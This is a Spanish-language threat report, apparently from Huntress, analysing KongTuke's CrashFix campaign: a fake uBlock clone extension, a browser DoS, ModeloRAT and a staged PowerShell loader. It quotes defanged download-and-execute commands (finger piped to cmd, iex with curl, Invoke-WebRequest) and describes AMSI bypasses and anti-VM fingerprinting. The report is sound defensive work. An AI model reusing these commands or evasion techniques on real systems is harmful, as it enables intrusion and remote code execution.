Resumen
En enero de 2026, el analista sénior del SOC de Huntress Tanner Filip observó a actores de amenazas usando una extensión de navegador maliciosa para mostrar una falsa advertencia de seguridad, afirmando que el navegador se había "detenido de forma anormal" e instando a los usuarios a ejecutar un "escaneo" para remediar las amenazas.
Figura 1: Mensaje emergente falso de CrashFix (1)
Nuestro análisis reveló que esta campaña es obra de KongTuke, un actor de amenazas que hemos estado rastreando desde comienzos de 2025. En esta última operación, identificamos varios desarrollos nuevos: una extensión de navegador maliciosa llamada NexShield que suplanta al legítimo bloqueador de anuncios uBlock Origin Lite, una nueva variante de ClickFix que hemos denominado "CrashFix" que hace fallar intencionalmente el navegador y luego engaña a los usuarios para que ejecuten comandos maliciosos, y ModeloRAT, un RAT en Python no documentado previamente y reservado exclusivamente para hosts unidos a un dominio.
Irónicamente, la víctima estaba buscando un bloqueador de anuncios cuando se encontró con un anuncio malicioso. El anuncio dirigía a los usuarios a la tienda oficial Chrome Web Store (hxxps[://]chromewebstore[.]google[.]com/detail/nexshield-%E2%80%93-advanced-web/cpcdkmjddocikjdkbbeiaafnpdbdafmi), dando una falsa legitimidad a la extensión maliciosa. El correo electrónico registrado para el desarrollador es "[email protected]".
La focalización deliberada en máquinas unidas a un dominio sugiere que KongTuke va tras entornos corporativos donde un punto de apoyo significa acceso a Active Directory, sistemas internos y oportunidades de movimiento lateral. Los usuarios domésticos en estaciones de trabajo independientes reciben una cadena de infección separada que parece seguir en pruebas; cuando finalmente atravesamos todas las capas, el C2 respondió con "TEST PAYLOAD!!!!".
Ya sea que esto signifique que los objetivos no unidos a un dominio son de menor prioridad o que la campaña todavía se está construyendo, una cosa está clara: KongTuke está evolucionando sus operaciones y mostrando un mayor interés en las redes empresariales.
Entonces, ¿qué son CrashFix y NexShield?
Al "ejecutar el escaneo" (Figura 1), al usuario se le presenta una falsa alerta de "Problemas de seguridad detectados" y se le indica "solucionar" manualmente el problema abriendo el cuadro de diálogo Ejecutar de Windows (Win + R), pegando desde su portapapeles (Ctrl + V) y presionando Enter. La extensión maliciosa copia silenciosamente un comando de PowerShell al portapapeles, disfrazado como un comando de reparación legítimo. Cuando el usuario sigue estos pasos, ejecuta sin saberlo el comando malicioso.
Figura 2: Mensaje emergente falso de CrashFix después de "ejecutar escaneo"
No íbamos a pegar a ciegas desde el portapapeles, así que intentamos copiar el comando mostrado (edge.exe -fix-browser -hash=...) como analistas de malware civilizados. ¿La respuesta del navegador? Congelamiento total. Cuando tu "arreglo" causa fallas, el nombre se escribe solo: saluda a CrashFix.
Antes de sumergirnos en cómo terminamos con un mensaje emergente malicioso, demos un paso atrás y veamos cómo se entregó.
Probablemente hayas escuchado la recomendación de instalar un bloqueador de anuncios para protegerte del malvertising, anuncios maliciosos que distribuyen malware a través de redes publicitarias legítimas. Nuestra víctima probablemente solo quería deshacerse de anuncios molestos. En cambio, descargó uno malicioso (NexShield) mientras buscaba un bloqueador de anuncios para Chrome.
Figura 3: Bloqueador de anuncios malicioso en los resultados de búsqueda de Google
Figura 4: Página de descarga de extensión de navegador maliciosa
Este encabezado atribuye falsamente el código a Raymond Hill, el desarrollador legítimo de uBlock Origin, y hace referencia a un repositorio de GitHub inexistente. Esta táctica explota la confianza que los usuarios depositan en proyectos de código abierto conocidos. El repositorio real de uBlock Origin Lite se encuentra en hxxps://github[.]com/uBlockOrigin/uBOL-home, no en la URL referenciada en esta extensión maliciosa.
La extensión NexShield es casi en su totalidad un clon de uBlock Origin Lite, una extensión legítima de Raymond Hill. La URL en el encabezado de background.js no existe, y sugiere que el actor de amenazas simplemente ejecutó unos cuantos buscar-y-reemplazar para sustituir cada instancia de `uBlock` por `nexshield`.
Figura 5: Referencia del encabezado de NexShield
Al comparar la versión "2025.1116.1841" de uBlock Origin Lite con la versión de NexShield que estaba en vivo en la Chrome Web Store el 14 de enero, a la que llamaron "2025.1116.1842", se observa que ambas son casi idénticas, con una excepción.
Figura 6: uBO Lite legítimo comparado con NexShield
La mayoría de los archivos de la extensión solo contienen cambios en el nombre o en la redacción similar, y están todos dentro de unos pocos bytes de diferencia entre sí. El archivo "background.js", sin embargo, es aproximadamente un 14 % más grande en NexShield, una diferencia de 3276 bytes.
NexShield
"Función" de rastreo
La extensión define su configuración de comando y control (C2) en una variable ofuscada que se muestra a continuación.
Figura 7: Configuración de C2
Nota el typosquatting: la BASE_URL usa nexsnield.com (con "n"), mientras que el nombre de la extensión usa nexshield (con "h").
La generación de UUID es una práctica común en extensiones legítimas para rastrear analíticas básicas. Sin embargo, en este caso, el UUID se envía a infraestructura controlada por el atacante (nexsnield[.]com) y se usa para correlacionar eventos de instalación, actualización y desinstalación, dándole al atacante visibilidad sobre su grupo de víctimas.
Figura 8: Rutina de generación de UUID
Cuando la extensión se instala por primera vez, envía una baliza (una solicitud HTTP usada para transmitir datos de rastreo) al servidor del atacante y abre una página de "agradecimiento".
Ejemplo de la URL de la baliza:
- hxxps://nexsnield[.]com/install?uuid=550e8400-e29b-41d4-a716-446655440000&version=2025.1116.1842
Figura 9: Baliza de instalación enviando UUID y versión al servidor controlado por el atacante
En las actualizaciones de la extensión, se envía telemetría adicional, incluyendo la versión anterior.
Ejemplo de la URL de la baliza:
- hxxps://nexsnield[.]com/update?uuid=550e8400-e29b-41d4-a716-446655440000&version=2025.1116.1842&previous=2025.1115.1000
Figura 10: Baliza de actualización transmitiendo UUID, versión actual y versión anterior al servidor C2
La extensión establece una URL de desinstalación para rastrear cuándo los usuarios la eliminan.
Figura 11: URL de rastreo de desinstalación configurada para notificar al actor de amenazas cuando se elimina la extensión
Mecanismo de ejecución retardada
Para evadir la detección y evitar la asociación inmediata entre la instalación de la extensión y el comportamiento malicioso, la carga útil usa la API de Alarmas de Chrome para retrasar la ejecución 60 minutos. La extensión configura dos temporizadores: el primero se activa una vez después de un retraso de 60 minutos, y el segundo se dispara cada 10 minutos después del disparo inicial. Esta estrategia de temporización existe para que, cuando un usuario instala la extensión, no suceda nada malicioso de inmediato. Sesenta minutos después, la carga útil maliciosa se activa, y cada 10 minutos a partir de entonces, la carga útil continúa ejecutándose.
Figura 12: Temporizador de ejecución retardada configurado para activarse 60 minutos después de la instalación
Entonces, para cuando el usuario experimenta problemas con el navegador, la asociación mental con la extensión recientemente instalada probablemente se ha debilitado.
Agotamiento de recursos del navegador
La carga útil maliciosa principal es un ataque de denegación de servicio contra el propio navegador de la víctima.
La función makeBatch() intenta iterar mil millones de veces (1e9), creando cada iteración una nueva conexión de puerto chrome.runtime. Una vez que el bucle se completa, setTimeout(makeBatch, 0) encola inmediatamente otros mil millones de iteraciones, creando un bucle infinito. Además, el listener onConnect agrega aún más referencias al arreglo, agravando el consumo de recursos.
Esto agota rápidamente los recursos del sistema. Cada objeto de puerto consume memoria, y el arreglo crece sin límite. El bucle ajustado y la creación de puertos consumen ciclos de CPU, mientras que la infraestructura interna de mensajería de Chrome se ve desbordada. El resultado es una grave ralentización del navegador, falta de respuesta y eventuales fallas. Los usuarios pueden experimentar congelamiento de pestañas, alto uso de CPU por parte del proceso del navegador, consumo de memoria creciente hasta alcanzar los límites del sistema, o fallas completas del navegador que requieren forzar su cierre.
Este usuario fue víctima de esta infección y buscó rápidamente comandos en Google en un intento de remediarla. Afortunadamente, Huntress pudo ayudar con las remediaciones en este caso.
Figura 13: Usuario intentando buscar soluciones de remediación
Figura 14: Agotamiento de recursos, creando conexiones de puerto en tiempo de ejecución infinitas
El manejador del temporizador contiene la lógica que dispara el DoS. El DoS solo se ejecuta si el UUID existe (lo que significa que el usuario está siendo rastreado), el servidor C2 responde exitosamente a una solicitud fetch, y la ventana emergente se ha abierto al menos una vez y posteriormente cerrado. Esta última condición puede ser intencional para asegurar la interacción del usuario con la extensión antes de disparar la carga útil.
Figura 15: Manejador del temporizador verificando la conectividad con C2 antes de ejecutar el DoS
El código a continuación es responsable de mostrar la falsa advertencia de seguridad de CrashFix a través de una ventana emergente. Crea una ventana emergente centrada de 400x600 que apunta a la página /whats-new del atacante (Figuras 1-2), que muestra la falsa advertencia de seguridad "CrashFix".
Figura 16: Creación de la ventana emergente de CrashFix, mostrando la falsa advertencia de seguridad al reiniciar el navegador
La ventana emergente solo aparece al iniciar el navegador después de que este deja de responder. Antes de que se ejecute el DoS, se almacena una marca de tiempo en el almacenamiento local. Cuando el usuario fuerza el cierre y reinicia su navegador, el manejador de inicio verifica esta marca de tiempo, y si existe, aparece la ventana emergente de CrashFix, y la marca de tiempo se elimina. Esto crea un bucle: el DoS hace que el navegador no responda, el usuario fuerza el cierre y reinicia, la falsa advertencia aparece afirmando que el navegador "se detuvo de forma anormal", y si el usuario cierra la ventana emergente sin eliminar la extensión, el siguiente temporizador de 10 minutos dispara otro DoS. El ciclo se repite hasta que el usuario cae en la ingeniería social o elimina la extensión.
Antianálisis
La ventana emergente también implementa técnicas antianálisis para evitar que los usuarios inspeccionen la página. Bloquea atajos de teclado para DevTools (F12, Ctrl+Shift+I/J/C), deshabilita los menús contextuales del clic derecho, y evita la selección y arrastre de texto.
Figura 17: Técnicas antianálisis bloqueando atajos de DevTools, clic derecho y selección de texto
El nuevo juguete de KongTuke
KongTuke comenzó a usar "finger" en diciembre de 2025. Finger.exe es una utilidad legítima de Windows diseñada originalmente para recuperar información sobre usuarios en sistemas remotos, un protocolo que data de los primeros días de internet. Sin embargo, los actores de amenazas lo han reutilizado como un Living-off-the-Land Binary (LOLBin) porque puede obtener datos de servidores remotos y canalizar la salida directamente a la línea de comandos. En este caso, el comando malicioso copia finger.exe de System32 al directorio %temp% (renombrándolo a ct.exe para evitar la detección), luego lo usa para conectarse a 199.217.98[.]108 y canaliza la respuesta directamente a cmd, ejecutando cualquier carga útil que devuelva el servidor del atacante.
Comando malicioso de CrashFix:
- cmd /c start "" /min cmd /c "copy %windir%\system32\finger.exe %temp%\ct.exe&%temp%\ct.exe [email protected][.]108|cmd"
Al ejecutarse, el comando finger recupera un gran blob de CharCode que contiene PowerShell ofuscado usando codificación de cifrado ROT. Una vez desofuscado, el script descarga una carga útil secundaria desde el servidor del atacante, la guarda en el directorio AppData del usuario como script.ps1, la ejecuta y luego se autoelimina para borrar evidencia de la etapa inicial de infección:
- Invoke-WebRequest -Uri "hxxp://199.217.98[.]108/b" -OutFile "$env:APPDATA\script.ps1" & "$env:APPDATA\script.ps1"
Remove-Item "$env:APPDATA\script.ps1"
Figura 18: Blob ofuscado usando codificación de cifrado ROT
KongTuke parece haber tomado notas del manual de SocGholish, adoptando un enfoque de ofuscación en capas, aunque con bastante menos sofisticación. Mientras que SocGholish aprovecha seis capas de encriptación usando múltiples algoritmos de encriptación, KongTuke opta por el equivalente en malware de apilar servilletas sobre un mensaje secreto: múltiples capas de codificación Base64 y operaciones XOR para la etapa 3.
Figura 19: Etapa 3
El blob desencriptado es responsable de algunas cosas:
- Escanea los procesos en ejecución en busca de más de 50 herramientas de análisis (Wireshark, Process Hacker, x64dbg, IDA, Ghidra, etc.) e indicadores de VM (VMware, VirtualBox, QEMU, Parallels). Si se encuentra alguno, sale de inmediato.
- Verifica si la máquina está unida a un dominio o es independiente (WORKGROUP). Esto ayuda al atacante a distinguir entre objetivos corporativos y usuarios domésticos.
- Envía una solicitud POST a 199.217.98[.]108/n que contiene:
- Un marcador: ABCD111 para máquinas WORKGROUP, BCDA222 para unidas a un dominio
- Productos antivirus instalados (consultados desde SecurityCenter2)
La respuesta se canaliza directamente a iex (Invoke-Expression), ejecutando lo que sea que devuelva el C2.
Figura 20: Verificación de procesos antianálisis y perfilado de la víctima
Las máquinas unidas a un dominio reciben el trato VIP
Si el host está unido a un dominio, KongTuke entrega su puerta trasera recién desarrollada:
WPy64-31401 es WinPython, una distribución portátil de Python. KongTuke incluye su propio entorno de Python para no depender de que la víctima tenga Python instalado. El código malicioso principal vive en modes.py.
ModeloRAT
El script modes.py es un troyano de acceso remoto (RAT) de Windows totalmente funcional al que llamamos ModeloRAT, escrito en Python. Aprovecha la ofuscación mediante nombres de clases y variables verbosos y engañosos, implementa encriptación RC4 para las comunicaciones con C2, establece persistencia a través del Registro de Windows, y admite múltiples tipos de carga útil, incluyendo ejecutables, DLL y scripts de Python. ModeloRAT también incluye funciones de código basura al final del archivo diseñadas para confundir herramientas de análisis estático y a los analistas.
ModeloRAT está organizado en cuatro clases principales:
- UnnecessarilyProlongedCryptographicMechanismImplementationClass es una implementación directa de cifrado de flujo RC4 a pesar de su nombre intencionalmente verboso. Inicializa el arreglo de permutación S-box usando el Algoritmo de Programación de Claves (KSA), luego realiza la encriptación/desencriptación mediante el Algoritmo de Generación Pseudoaleatoria (PRGA). La naturaleza simétrica de RC4 significa que la misma función maneja ambas operaciones.
- PrimaryOperationalController sirve como el módulo operativo central responsable del reconocimiento del sistema, la ejecución de comandos, la persistencia y la codificación de datos. Para la huella digital del host, genera un ID de cliente único de 8 caracteres aplicando hash MD5 a la dirección MAC concatenada con el nombre de host. La capacidad de enumeración del sistema recopila metadatos extensos a través de comandos de PowerShell, incluyendo versión del sistema operativo, procesos en ejecución, servicios, dispositivos de almacenamiento, tablas ARP, configuración de red, privilegios de usuario y conexiones TCP activas. También realiza detección de privilegios para determinar si se ejecuta como SYSTEM, administrador o usuario estándar, y puede ejecutar comandos de PowerShell arbitrarios con un tiempo de espera de 30 segundos y un límite de salida de 10 MB. La persistencia se logra escribiendo en la clave del registro HKCU\Software\Microsoft\Windows\CurrentVersion\Run. La codificación de datos implementa un protocolo personalizado que encripta los datos con RC4 usando una clave aleatoria de 16 bytes, añade la clave y un marcador de versión (\xfe\xfe\x00\x01), y luego comprime con zlib.
- DataTransmissionManager maneja la generación y aleatorización de rutas de archivo. Selecciona nombres de archivo aleatorios de los directorios %APPDATA% y %PROGRAMDATA% para mezclar los archivos soltados con software legítimo, dificultando la detección.
- CentralCommunicationController orquesta el bucle principal de la baliza C2 y el despacho de comandos.
Protocolo de comando y control
ModeloRAT envía balizas a servidores C2 codificados de forma fija a través del puerto 80 de HTTP. Las direcciones IP están ofuscadas mediante concatenación de cadenas: 170.168.103[.]208 y 158.247.252[.]178. La URL de la baliza sigue el patrón http://{C2_IP}:80/beacon/{client_id}.
El flujo de comunicación comienza cuando el cliente recopila metadatos del sistema y los serializa a JSON. Luego, los datos se encriptan con RC4 usando una clave aleatoria, y la clave se añade seguida de un marcador de versión de 4 bytes. Toda la carga útil se comprime con zlib y se transmite mediante HTTP POST con un agente de usuario truncado basado en WebKit (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36)). El servidor responde con comandos encriptados usando el mismo protocolo.
A continuación, los tipos de comandos admitidos:
Lógica de intervalo de baliza
ModeloRAT implementa balizas adaptativas con varias configuraciones de temporización. En operación normal, usa un intervalo estándar de 300 segundos (5 minutos). Cuando el servidor envía un comando de configuración de activación, el implante entra en modo activo con sondeo rápido a un intervalo configurable, predeterminado a 150 milisegundos. Después de seis o más fallos de comunicación consecutivos, el RAT retrocede a un intervalo extendido de 900 segundos (15 minutos) para evitar la detección. Al recuperarse de un único fallo de comunicación, usa un intervalo de reconexión de 150 segundos antes de reanudar las operaciones normales. El modo activo tiene un tiempo de espera configurable, después del cual el implante regresa automáticamente a la baliza estándar.
Mecanismo de persistencia
En la ejecución inicial, ModeloRAT establece persistencia modificando la ruta del script para usar pythonw.exe y escribiendo en HKCU\Software\Microsoft\Windows\CurrentVersion\Run con el nombre de valor "MonitoringService". Cuando se sueltan cargas útiles adicionales, el RAT crea entradas de persistencia en el registro usando nombres que imitan software legítimo. Lo hace tomando nombres de carpetas de AppData y ProgramData (como Spotify, Adobe, Discord), añadiendo un número aleatorio, y usando el resultado como el nombre del valor del registro, así que en lugar de algo sospechoso, obtienes entradas como Spotify47 o Adobe2841 que a simple vista se mezclan con el resto
El malware emplea ofuscación mediante verbosidad, donde todos los nombres de clases, métodos y variables usan nombres innecesariamente largos y pseudotécnicos como instruction_result_repository en lugar de simplemente results. Esto aumenta significativamente la carga cognitiva durante el análisis manual.
Ofuscación y antianálisis
Se usa concatenación de cadenas para los IOC, con direcciones IP de C2 construidas carácter por carácter para evadir el escaneo simple de cadenas, por ejemplo: "1" + "7" + "0" + "." + "1" + "6" + "8" + "." + "1" + "0" + "3" + "." + "2" + "0" + "8".
Las últimas aproximadamente 70 líneas contienen relleno de código basura con código completamente no funcional, incluyendo cálculos sin sentido, estructuras de datos no usadas, operaciones de cadenas irrelevantes, funciones recursivas, y una clase ExtraneousClassDefinition. Esto infla el archivo y puede confundir a las herramientas de análisis automatizadas.
Todas las llamadas a subprocesos usan ejecución de ventana oculta con las banderas CREATE_NO_WINDOW y STARTF_USESHOWWINDOW con wShowWindow=0 para evitar ventanas de consola visibles. Además, el malware realiza una omisión del certificado SSL deshabilitando la verificación de certificados (CERT_NONE) para las comunicaciones con C2.
Figura 21: Relleno de código basura usado para inflar la complejidad y confundir las herramientas de análisis estático.
Solo para siempre: edición no unida a un dominio
La inspiración de SocGholish no se detiene ahí. Si has pasado algo de tiempo analizando muestras de SocGholish hasta que se te nublan los ojos, la etapa 4 podría desencadenar algunos recuerdos: restar un número mágico de un arreglo de enteros para revelar la URL de la carga útil, y construir iex mediante aritmética de caracteres porque escribir tres letras directamente sería demasiado fácil.
Figura 22: Etapa 4
La etapa 4 se desofusca a:
- iex(curl -useb hxxp://fyvw2oiv[.]top/1.php?s=63e95be1-92e0-45c1-a928-65d63b17cd1c)
La etapa 5 entrega aún más PowerShell y aún más ofuscación. En este punto, podrías preguntarte si a KongTuke le pagan por capa. Afortunadamente, la automatización nos salva de calcular manualmente cientos de expresiones anidadas como (-8953+(2890+6179)) solo para revelar un único carácter.
Figura 23: Etapa 5
Intentemos recorrer la Etapa 5. Entonces, el primer blob codificado en base64 se decodifica a:
Este es el Algoritmo de Generación de Dominios (DGA) que a KongTuke le encanta lanzar por todas partes. La semilla se calcula en función de la semana actual del año más 2024, multiplicada por 789684. Esto significa que la semilla cambia semanalmente, de modo que los mismos 10 dominios se generan durante toda una semana, tanto en la máquina de la víctima como en la infraestructura del atacante.
Recorre cada dominio hasta que uno responde, obtiene la siguiente etapa y la ejecuta.
¿Por qué DGA? Si los defensores bloquean un dominio, el malware tiene 9 más para intentar. La próxima semana, es un conjunto de 10 completamente diferente. Los actores de amenazas solo necesitan registrar los dominios con anticipación usando el mismo algoritmo, ¡y en el caso de KongTuke, registran dominios nuevos a diario!
Entonces, descargando la siguiente etapa desde el dominio DGA generado arriba (he perdido la cuenta en este punto), vemos otro script ofuscado.
El script define una función de decodificación personalizada que usa una tabla de búsqueda de 256 entradas que mapea tokens de 3 caracteres a valores de byte. Cada token como d!s, ra8, o bm& corresponde a un byte (0-255), por ejemplo, d!s = 0, ra8 = 1, #ls = 105 (la letra "i"). Las cadenas codificadas se procesan 3 caracteres a la vez, buscando cada tripleta en la tabla y convirtiéndola a su carácter ASCII correspondiente. Si has llegado hasta aquí, ya sabes lo que viene.
Figura 24: La tabla de búsqueda de 256 entradas que mapea tokens de 3 caracteres a valores de byte, porque ¿para qué usar Base64 cuando puedes inventar tu propio alfabeto?
Usando este decodificador, el script reconstruye a los sospechosos habituales: FromBase64String, System.IO.MemoryStream, GZipStream, Decompress, System.Reflection.Assembly, Main, GetTypes, GetMethod, y Invoke. Luego toma una carga útil de .NET codificada en Base64 y comprimida con GZip (recuerda esta, hablaremos de ella más adelante en este blog), la descomprime en memoria, la carga mediante reflexión, busca el método Main, y lo ejecuta: ejecución sin archivos que nunca toca el disco.
Y como un solo mecanismo de entrega de carga útil no es suficiente, el script también genera 10 dominios DGA usando el mismo algoritmo con semilla semanal visto en etapas anteriores. El conjunto de caracteres abcdefghijklmnopqrstuvwxyz0123456789 y el cálculo de semilla ((((Get-Date).DayOfYear+3) / 7) +2024)*789684 se mantienen consistentes. Construye una URL de C2 con el nombre del equipo y datos de huella digital, luego recorre cada dominio hasta que uno responde.
Volvamos al script de la Etapa 5: avanzando más en el script, aquí es donde KongTuke se pone curioso. Antes de llamar a casa, ejecuta una verificación completa de antecedentes en tu sistema para determinar si está tratando con una víctima real o la VM de algún analista. El script construye una huella digital numérica única ejecutando múltiples verificaciones, con cada resultado añadiendo un valor específico a un total acumulado, como un puntaje de crédito, pero para malware.
Figura 25: Desofuscando el blob responsable de calcular los valores del parámetro clave
Primero, consulta Get-MpComputerStatus para la propiedad IsVirtualMachine:
- $false (no es una VM): añade 17 806 141 208
- 3 (error/desconocido): añade 18 397 578 972
- $true (es una VM): añade 49 773 342 430
A continuación, examina Win32_VideoController para la propiedad AdapterDACType, buscando indicadores de VM:
- VMware o Bochs: añade 24 397 282 883
- Intel o SeaBIOS: añade 84 125 420 620
- Interno o integrado: añade 48 951 750 936
El script consulta Win32_CacheMemory para el campo purpose de caché. El hardware real típicamente reporta "L1 Cache" mientras que las VM a menudo tienen valores faltantes o malformados:
- "L1": añade 83 921 813 634
- Longitud > 4: añade 1 173 405 983
- Longitud ≤ 3: añade 83 736 924 793
Antes de ejecutar el script anterior, la Etapa 5 deshabilita AMSI usando parcheo de memoria. El blob ofuscado se decodifica a código C# que importa GetModuleHandle, GetProcAddress, y VirtualProtectEx desde kernel32.dll. Localiza AmsiScanBuffer en amsi.dll y lo sobrescribe con 0xC3, una única instrucción RET, haciendo que la función retorne inmediatamente sin escanear.
Después de la huella digital, el script genera un dominio .top pseudoaleatorio usando una semilla basada en el día del año actual. El parámetro key contiene el puntaje de huella digital acumulado. El servidor C2 usa este valor para determinar si la víctima está ejecutándose en hardware real o en un entorno de análisis y decidir si entregar la carga útil real o permanecer en silencio. Una máquina víctima legítima generaría una huella digital de alrededor de 164 mil millones, mientras que un sandbox de VMware produciría aproximadamente 88 mil millones, dando a los actores de amenazas una simple verificación numérica para filtrar a los investigadores. Si tu puntaje no cuadra, no obtienes nada. Si se pasan todas las verificaciones, obtienes otro blob ofuscado de PowerShell del C2 como se muestra a continuación.
Figura 26: Blob de PowerShell ofuscado con omisión de AMSI y la lógica para descargar el archivo "aa.exe"
El script comienza con una omisión de AMSI usando ofuscación de normalización Unicode. Caracteres como â y ã son versiones acentuadas de letras normales; al normalizarse usando FormD, se descomponen en la letra base más un carácter de acento separado. La expresión regular -replace '\p{Mn}' luego elimina esos acentos, dejando ASCII limpio: Management. Mediante esta técnica, se reconstruye System.Management.Automation.AmsiUtils, y el script establece el campo amsiInitFailed en $true, diciéndole a PowerShell que AMSI falló al inicializarse para que todos los comandos posteriores se ejecuten sin ser escaneados.
Después de una breve pausa, el script descarga un ejecutable desde hxxp://temp[.]sh/utDKu/138d2a62b73e89fc4d09416bcefed27e139ae90016ba4493efc5fbf43b66acfa.exe, lo guarda en %TEMP%\aa.exe, y lo ejecuta de inmediato. Desafortunadamente, la carga útil ya no estaba alojada en el momento del análisis.
Carga útil .NET de GateKeeper
Al abrir la carga útil DLL en dnSpy, podrías ver algo así:
Figura 27: Llamadas anidadas de desencriptación de cadenas resolviendo nombres de DLL de sandbox para detección
¿Esa cosa de <Module>.<>c? Ahí es donde viven todos los datos encriptados. El autor de KongTuke está almacenando sus arreglos de bytes ahí, probablemente esperando que los analistas lo descartaran como ruido del compilador. Buen intento.
Consejo profesional: dnSpy oculta estos tipos generados por el compilador de forma predeterminada. Necesitarás habilitar "Show hidden compiler-generated types and methods" en la configuración del Decompiler para verlos; de lo contrario, estás mirando llamadas de desencriptación que hacen referencia a datos que no puedes encontrar.
Los autores del malware claramente vieron demasiadas películas de espías porque optaron por no una, sino DOS capas de encriptación de cadenas. Cada cadena interesante en este binario, URL de C2, consultas WMI, verificaciones antianálisis, está envuelta en plástico de burbujas criptográfico.
Capa 1: AES-256-CBC
La primera capa usa encriptación adecuada de adultos. Hablamos de AES-256 en modo CBC con derivación de clave PBKDF2:
La contraseña y la sal se almacenan como arreglos de bytes estáticos dentro de <Module>.<>c
Dentro de esa estructura <>c, hay docenas de arreglos de bytes con nombres como:
- set_AvatarIcon GetGroups GetAssembliesFromDirectory.ParseUInt64 (texto cifrado)
- set_IsLimitedAccount add_OnExecuteCommand get_Permissions.GetTypesFromInterface (sal)
- AppDomain.Current.Load IsWindowVisible GetPermissions.set_Name (contraseña)
¿Cómo sabe el código qué arreglo usar? Está codificado de forma fija en cada sitio de llamada. Si retrocedes a esa función de pesadilla, cada llamada de desencriptación hace referencia explícita a nombres de campo específicos. Los campos de sal y contraseña se reutilizan globalmente (la misma sal de 8 bytes, la misma contraseña de 48 bytes para todo), pero cada cadena encriptada tiene su propio arreglo de texto cifrado único.
Entonces, cuando ves:
Esos son dos blobs encriptados diferentes, ambos usando la misma sal y contraseña para AES, luego combinados con XOR para producir el texto plano final.
Capa 2: XOR (¿Por qué no?)
Después de que la desencriptación AES produce una cadena base64, pasa por una segunda ronda, esta vez un simple cifrado XOR:
La propia clave XOR también está encriptada con AES. Así que para desencriptar una cadena, necesitas desencriptar con AES dos blobs, y luego combinarlos con XOR.
El sistema de huella digital (realmente no quieren ejecutarse en tu VM)
Aquí es donde las cosas se ponen interesantes. La función Main() de la DLL en realidad no hace nada malicioso directamente. En cambio, construye una huella digital de la máquina de la víctima ejecutando una serie de verificaciones antianálisis y devolviendo un número gigante, el mismo concepto de huella digital que vimos antes en la Etapa 5, pero esta vez implementado en .NET compilado.
La huella digital es esencialmente una suma. Cada verificación que se dispara añade un valor específico.
Verificaciones antianálisis:
- ¿Nombre de usuario/host en una lista negra (cosas como "malware", "sandbox", el infame "John Doe")? Añade 54 mil millones.
- ¿Ventana de depurador detectada? Añade 56 mil millones.
- ¿Ejecutándose en VirtualBox? Añade 52 mil millones.
- ¿VMware? Añade 32 mil millones.
- ¿Herramientas de análisis detectadas? Añade 34 mil millones.
Una máquina física limpia con una GPU dedicada da como resultado alrededor de 6 887 402 914. Una VM de VirtualBox con Wireshark en ejecución podría alcanzar más de 200 mil millones. El servidor C2 recibe este número y presumiblemente piensa: "Hmm, 200 mil millones... eso definitivamente es un analista de malware. No le demos nada".
Esta vale la pena revisarla. La función ExcityImpatchScableTerrine almacena nombres de herramientas como arreglos de enteros para evitar la detección basada en cadenas. Enumera todos los procesos en ejecución y verifica los títulos de sus ventanas contra una lista que incluye x32dbg, x64dbg, windbg, ollydbg, dnspy, Immunity Debugger, HyperDbg, Cheat Engine, e IDA. Si hay alguna coincidencia, el proceso se cierra, y la verificación devuelve verdadero.
Figura 28: Función ExcityImpatchScableTerrine
Una vez que el DGA produce dominios, el loader construye su URL de retorno de llamada:
- hxxp://[DGA_DOMAIN]/st2?s=04e1ab2b-3f93-46fa-9aed-c3a2a3f126c9&id=[HOSTNAME]&key=[FINGERPRINT]
Desglosando esto:
- s= - GUID de la campaña (codificado de forma fija, identifica esta campaña específica)
- id= - Nombre de equipo de la víctima
- key= - El número de huella digital de todas esas verificaciones antianálisis
El servidor puede observar ese valor de key y tomar decisiones sobre si entregar o no la carga útil.
Todo ese trabajo duro para nada: después de emular el script con el valor de huella digital correcto, el C2 respondió con write-host "TEST PAYLOAD!!!!". O el actor de amenazas tiene sentido del humor, o la campaña está en fase de prueba.
Conclusión
La campaña CrashFix de KongTuke demuestra cómo los actores de amenazas continúan haciendo evolucionar sus tácticas de ingeniería social. Al suplantar un proyecto de código abierto confiable (uBlock Origin Lite), hacer fallar el navegador del usuario a propósito, y luego ofrecer un falso arreglo, han construido un bucle de infección autosostenible que se aprovecha de la frustración del usuario.
Lo que tenemos ante nosotros es una extensión de navegador maliciosa que hace typosquatting, implementa ejecución retardada para evitar la detección, dispara una denegación de servicio contra el propio navegador del usuario, y entrega una cadena de infección de PowerShell de múltiples etapas. La carga útil .NET añade encriptación de dos capas (AES-256 más XOR), dominios DGA de rotación semanal, y huella digital diseñada para distinguir a una víctima real del sandbox de un analista.
KongTuke claramente tiene favoritos entre sus víctimas. Las máquinas unidas a un dominio, típicamente endpoints corporativos con acceso a Active Directory, recursos internos y datos sensibles, reciben el trato VIP: ModeloRAT, un RAT de Python totalmente funcional con comunicaciones de C2 encriptadas con RC4, y soporte para soltar ejecutables, DLL y scripts de Python. El RAT incluso intenta mezclarse nombrando sus entradas de persistencia como carpetas de software legítimo, como Spotify47 o Adobe2841. Esta distinción de focalización sugiere que KongTuke prioriza los entornos empresariales donde un único host comprometido puede proporcionar oportunidades de movimiento lateral, recolección de credenciales, y acceso a activos de mayor valor. Las máquinas no unidas a un dominio reciben un camino diferente, más capas de ofuscación, más dominios DGA, y finalmente una carga útil que devolvió "TEST PAYLOAD!!!!" cuando finalmente logramos pasar. O la rama de usuarios domésticos todavía está en desarrollo, o KongTuke está guardando sus mejores juguetes para objetivos corporativos donde el retorno de inversión de un compromiso exitoso es significativamente más alto.
Los nombres de función ofuscados (UnstrolPurableSaffluide, ¿en serio?) son molestos pero, en última instancia, solo ruido. El verdadero esfuerzo se dedicó a la seguridad operacional, haciendo que el servidor C2 sea lo suficientemente inteligente como para filtrar investigadores basándose en un puntaje numérico de huella digital. Si tu sistema no parece una víctima legítima, no obtienes nada.
Para los defensores, esta campaña refuerza varios puntos clave: monitorea el uso inusual de LOLBins como finger.exe, vigila las extensiones de navegador con solicitudes de permisos sospechosas o fechas de creación recientes, y mantén un ojo en el tráfico de red, ya sea que esté enviando balizas a nexsnield[.]com, ModeloRAT llamando a casa a IP codificadas de forma fija en el puerto 80, o accediendo a dominios .top de 15 caracteres generados aleatoriamente en los endpoints /st2 o /1.php. También vigila pythonw.exe generando procesos ocultos de PowerShell y entradas sospechosas en la clave de registro Run que se parecen demasiado a software legítimo.
Indicadores de compromiso
|
Elemento |
Descripción |
|
cpcdkmjddocikjdkbbeiaafnpdbdafmi |
ID de la extensión NexShield |
|
nexsnield[.]com |
Servidor C2 principal para la telemetría de la extensión; recibe balizas de instalación/actualización/desinstalación con el UUID de la víctima |
|
199.217.98[.]108 |
